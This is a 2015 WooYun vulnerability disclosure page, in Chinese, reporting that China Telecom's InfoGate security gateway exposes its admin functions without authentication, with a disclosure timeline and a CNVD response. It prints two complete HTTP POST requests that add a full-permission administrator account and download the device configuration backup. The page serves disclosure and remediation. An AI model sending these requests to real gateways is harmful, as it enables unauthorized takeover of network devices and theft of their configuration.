当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0133471

漏洞标题：中国电信某安全网关存在通用型设计缺陷(可直接添加任意管理员等等)

相关厂商：中国电信

漏洞作者： YY-2012

提交时间：2015-08-14 16:52

修复时间：2015-11-12 10:58

公开时间：2015-11-12 10:58

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-14： 细节已通知厂商并且等待厂商处理中
2015-08-14： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-08-17： 细节向第三方安全合作伙伴开放
2015-10-08： 细节向核心白帽子及相关领域专家公开
2015-10-18： 细节向普通白帽子公开
2015-10-28： 细节向实习白帽子公开
2015-11-12： 细节向公众公开

简要描述：

rt

详细说明：

“InfoGate安全网关”存在逻辑性设计缺陷发现全功能可未授权访问，惊呆了。。
任意添加管理员（以下提交会添加一个名为test124密码为test1245的管理员）：

POST /src/system/addmanageuser.php HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://地址/src/system/addmanageuser.php?&IG_current_menu_name=系统配置&IG_current_submenu_name=管理设置
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 地址
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=
Content-Length: 235
IG_current_menu_name=%CF%B5%CD%B3%C5%E4%D6%C3&IG_current_submenu_name=%B9%DC%C0%ED%C9%E8%D6%C3&IG_user=test124&IG_password=test1245&IG_password1=test1245&IG_permission1=1&IG_permission2=1&IG_permission3=1&IG_submit=+++%C8%B7++%B6%A8+++


未授权下载配置文件：

POST /src/system/default.php HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://地址/src/system/default.php?IG_current_menu_name=系统配置&IG_current_submenu_name=配置管理
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7df16713100de
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 地址
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=
Content-Length: 306
-----------------------------7df16713100de
Content-Disposition: form-data; name="IG_type"
IG_backup
-----------------------------7df16713100de
Content-Disposition: form-data; name="IG_uploadfile"; filename=""
Content-Type: application/octet-stream
-----------------------------7df16713100de--


其他功能不一一举例了。。

漏洞证明：

aaaaaaaaa1111111111111111111.jpg


aaaaaaaaaa2222222222222222.jpg


aaaaaaaaaaaaa333333333333333333.jpg


aaaaaaaaaaaaa44444444444444444.jpg


aaaaaaaaaaaa55555555555555555.jpg


aaaaaaaaaa66666666666666666.jpg


aaaaaaaaaaaaa7777777777777777.jpg


aaaaaaaaaa8888888888888888888.jpg


aaaaaaaaa999999999999999999.jpg


案例：

**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:8443/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/

修复方案：

添加各种验证权限。。

版权声明：转载请注明来源 YY-2012@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：9

确认时间：2015-08-14 10:56

厂商回复：

CNVD确认所述情况，已经转由CNCERT向中国电信集团公司通报，由其后续协调网站管理部门处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-12 20:21 | 大饭刚 ( 实习白帽子 | Rank:53 漏洞数:11 | 吃饭，喝酒，挖洞洞)

    坐等公开